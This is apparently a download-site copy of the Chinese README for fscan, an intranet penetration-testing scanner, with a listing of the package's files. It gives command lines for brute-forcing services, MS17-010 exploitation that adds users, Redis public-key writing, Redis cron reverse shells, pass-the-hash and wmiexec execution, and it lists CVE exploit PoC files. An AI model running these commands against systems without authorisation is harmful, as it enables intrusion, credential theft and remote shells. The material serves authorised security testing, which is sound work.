# fscan
[English][url-docen]
# 1. 简介
一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。
# 2. 主要功能
1.信息搜集:
* 存活探测(icmp)
* 端口扫描
2.爆破功能:
* 各类服务爆破(ssh、smb、rdp等)
* 数据库密码爆破(mysql、mssql、redis、psql、oracle等)
3.系统信息、漏洞扫描:
* netbios探测、域控识别
* 获取目标网卡信息
* 高危漏洞扫描(ms17010等)
4.Web探测功能:
* webtitle探测
* web指纹识别(常见cms、oa框架等)
* web漏洞扫描(weblogic、st2等,支持xray的poc)
5.漏洞利用:
* redis写公钥或写计划任务
* ssh命令执行
* ms17017利用(植入shellcode),如添加用户等
6.其他功能:
* 文件保存
# 3. 使用说明
简单用法
```
fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
fscan.exe -h 192.168.1.1/16 (B段扫描)
```
其他用法
```
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt (以文件导入)
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描)
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (只支持简单tcp功能的代理,部分功能的库不支持设置代理)
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具)
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4)
fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx (wmiexec无回显命令执行)
```
编译命令
```
go build -ldflags="-s -w " -trimpath main.go
upx -9 fscan.exe (可选,压缩体积)
```
arch用户安装
`yay -S fscan-git 或者 paru -S fscan-git`
完整参数
```
-c string
ssh命令执行
-cookie string
设置cookie
-debug int
多久没响应,就打印当前进度(default 60)
-domain string
smb爆破模块时,设置域名
-h string
目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
-hf string
读取文件中的目标
-hn string
扫描时,要跳过的ip: -hn 192.168.1.1/24
-m string
设置扫描模式: -m ssh (default "all")
-no
扫描结果不保存到文件中
-nobr
跳过sql、ftp、ssh等的密码爆破
-nopoc
跳过web poc扫描
-np
跳过存活探测
-num int
web poc 发包速率 (default 20)
-o string
扫描结果保存到哪 (default "result.txt")
-p string
设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
-pa string
新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)
-path string
fcgi、smb romote file path
-ping
使用ping代替icmp进行存活探测
-pn string
扫描时要跳过的端口,as: -pn 445
-pocname string
指定web poc的模糊名字, -pocname weblogic
-proxy string
设置代理, -proxy http://127.0.0.1:8080
-user string
指定爆破时的用户名
-userf string
指定爆破时的用户名文件
-pwd string
指定爆破时的密码
-pwdf string
指定爆破时的密码文件
-rf string
指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)
-rs string
redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)
-silent
静默扫描,适合cs扫描时不回显
-sshkey string
ssh连接时,指定ssh私钥
-t int
扫描线程 (default 600)
-time int
端口扫描超时时间 (default 3)
-u string
指定Url扫描
-uf string
指定Url文件扫描
-wt int
web访问超时时间 (default 5)
-pocpath string
指定poc路径
-usera string
在原有用户字典基础上,新增新用户
-pwda string
在原有密码字典基础上,增加新密码
-socks5
指定socks5代理 (as: -socks5 socks5://127.0.0.1:1080)
-sc
指定ms17010利用模块shellcode,内置添加用户等功能 (as: -sc add)
```
# 4. 运行截图
`fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)`
![](image/1.png)
![](image/4.png)
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写公钥)`
![](image/2.png)
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)`
![](image/3.png)
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 一键支持xray的poc`
![](image/2020-12-12-13-34-44.png)
`fscan.exe -h 192.168.x.x -p 139 (netbios探测、域控识别,下图的[+]DC代表域控)`
![](image/netbios.png)
`go run .\main.go -h 192.168.x.x/24 -m netbios(-m netbios时,才会显示完整的netbios信息)`
![](image/netbios1.png)
`go run .\main.go -h 192.0.0.0/8 -m icmp(探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量)`
![img.png](image/live.png)
# 5. 免责声明
本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。
为避免被恶意使用,本项目所有收录的poc均为漏洞的理论判断,不存在漏洞利用过程,不会对目标发起真实攻击和漏洞利用。
在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。**请勿对非授权目标进行扫描。**
如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。
在安装并使用本工具前,请您**务必审慎阅读、充分理解各条款内容**,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。
除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。
# 6. 404StarLink 2.0 - Galaxy
![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)
fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环,如果对fscan 有任何疑问又或是想要找小伙伴交流,可以参考星链计划的加群方式。
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
# 7. Star Chart
[![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan)
# 8. 捐赠
如果你觉得这个项目对你有帮助,你可以请作者喝饮料🍹 [点我](image/sponsor.png)
# 9
没有合适的资源?快使用搜索试试~ 我知道了~
资源推荐
资源详情
资源评论
收起资源包目录
内网扫描工具:fscan (444个子文件)
.gitignore 11B
ms17010-exp.go 35KB
eval.go 20KB
rules.go 18KB
http.pb.go 16KB
check.go 14KB
NetBIOS.go 11KB
redis.go 9KB
fcgiscan.go 8KB
icmp.go 7KB
ParseIP.go 7KB
config.go 6KB
client.go 6KB
webtitle.go 6KB
ms17010.go 6KB
Parse.go 5KB
rdp.go 4KB
flag.go 4KB
smb2.go 4KB
scanner.go 4KB
log.go 3KB
CVE-2020-0796.go 3KB
mongodb.go 3KB
findnet.go 3KB
wmiexec.go 3KB
portscan.go 3KB
ssh.go 3KB
base.go 2KB
WebScan.go 2KB
smb.go 2KB
shiro.go 2KB
ftp.go 2KB
mssql.go 2KB
mysql.go 2KB
oracle.go 2KB
postgres.go 1KB
InfoScan.go 1KB
proxy.go 1KB
ParsePort.go 1KB
memcached.go 1KB
main.go 304B
README_EN.md 13KB
README.md 12KB
go.mod 2KB
netbios1.png 735KB
2020-12-12-13-34-44.png 489KB
3.png 488KB
2.png 434KB
live.png 420KB
1.png 418KB
netbios.png 283KB
4.png 143KB
sponsor.png 39KB
http.proto 643B
go.sum 42KB
LICENSE.txt 1KB
weblogic-cve-2019-2725.yml 796KB
weblogic-cve-2019-2729-1.yml 735KB
weblogic-cve-2019-2729-2.yml 511KB
ecology-workflowservicexml.yml 55KB
nexus-cve-2019-7238.yml 8KB
shiro-key.yml 5KB
apache-httpd-cve-2021-40438-ssrf.yml 4KB
yapi-rce.yml 3KB
ecology-workflowcentertreedata-sqli.yml 3KB
ecology-validate-sqli.yml 3KB
vmware-vcenter-cve-2021-21985-rce.yml 2KB
weblogic-cve-2017-10271.yml 2KB
h3c-imc-rce.yml 2KB
solr-cve-2019-0193.yml 2KB
tongda-v2017-uploadfile.yml 2KB
Struts2-062-cve-2021-31805-rce.yml 2KB
backup-file.yml 2KB
opentsdb-cve-2020-35476-rce.yml 2KB
solr-fileread.yml 2KB
tongda-oa-v11.9-api.ali.php-upload.yml 2KB
joomla-cnvd-2019-34135-rce.yml 1KB
typecho-rce.yml 1KB
ecshop-rce.yml 1KB
CVE-2022-22947.yml 1KB
elasticsearch-cve-2015-5531.yml 1KB
phpstudy-nginx-wrong-resolve.yml 1KB
drupal-cve-2018-7600-rce.yml 1KB
spring-core-rce.yml 1KB
jumpserver-unauth-rce.yml 1KB
struts2-045.yml 1KB
flexpaper-cve-2018-11686.yml 1KB
ruijie-eg-file-read.yml 1KB
ruijie-eg-cli-rce.yml 1KB
solr-velocity-template-rce.yml 1KB
hikvision-unauthenticated-rce-cve-2021-36260.yml 1KB
apache-flink-upload-rce.yml 1KB
drupal-cve-2019-6340.yml 1KB
weaver-ebridge-file-read.yml 1KB
struts2-046-1.yml 1KB
joomla-ext-zhbaidumap-cve-2018-6605-sqli.yml 1KB
CVE-2022-26134.yml 1KB
.goreleaser.yml 1KB
dlink-dsl-2888a-rce.yml 1KB
springboot-cve-2021-21234.yml 1KB
共 444 条
- 1
- 2
- 3
- 4
- 5
资源评论
全栈海哥
- 粉丝: 1639
- 资源: 99
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
最新资源
- 年终总结,工作汇报 , PPT, PPT模板2
- 年终总结,工作汇报 , PPT, PPT模板3
- 5G终端串口AT命令 FM650 拔号脚本
- DM驱动下载,包含DmDialect-for-hibernate4.0等
- 5G终端串口AT命令 FM650 拔号脚本-改进
- 二手车网站二手车数据集.zip
- 5G终端串口AT命令 FM650 常用
- IEEE33节点配电网模型,附带有详细节点数据以及文献出处来源,MATLAB,simulink各个版本均可运行,可以进行潮流计算以及四种常见故障波形仿真,可以更线路模型,分布参数模型用于故障仿真(50
- 汽车装车机(自动装袋装水泥)sw17可编辑全套技术开发资料100%好用.zip
- java发送email,所需要的依赖
- 纸牌检测25-YOLO(v5至v11)、COCO、CreateML、Paligemma、TFRecord、VOC数据集合集.rar
- GLM-4系列:大型语言模型的发展与评估
- yolov安全帽佩戴检测,目标检测,附带可视化界面
- armv7l框架的树莓派可用的onnx库文件
- 平均海平面气压数据(HadSLP2).zip
- 全落地式清障车全套数模 cero2.0全套技术开发资料100%好用.zip
资源上传下载、课程学习等过程中有任何疑问或建议,欢迎提出宝贵意见哦~我们会及时处理!
点击此处反馈
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功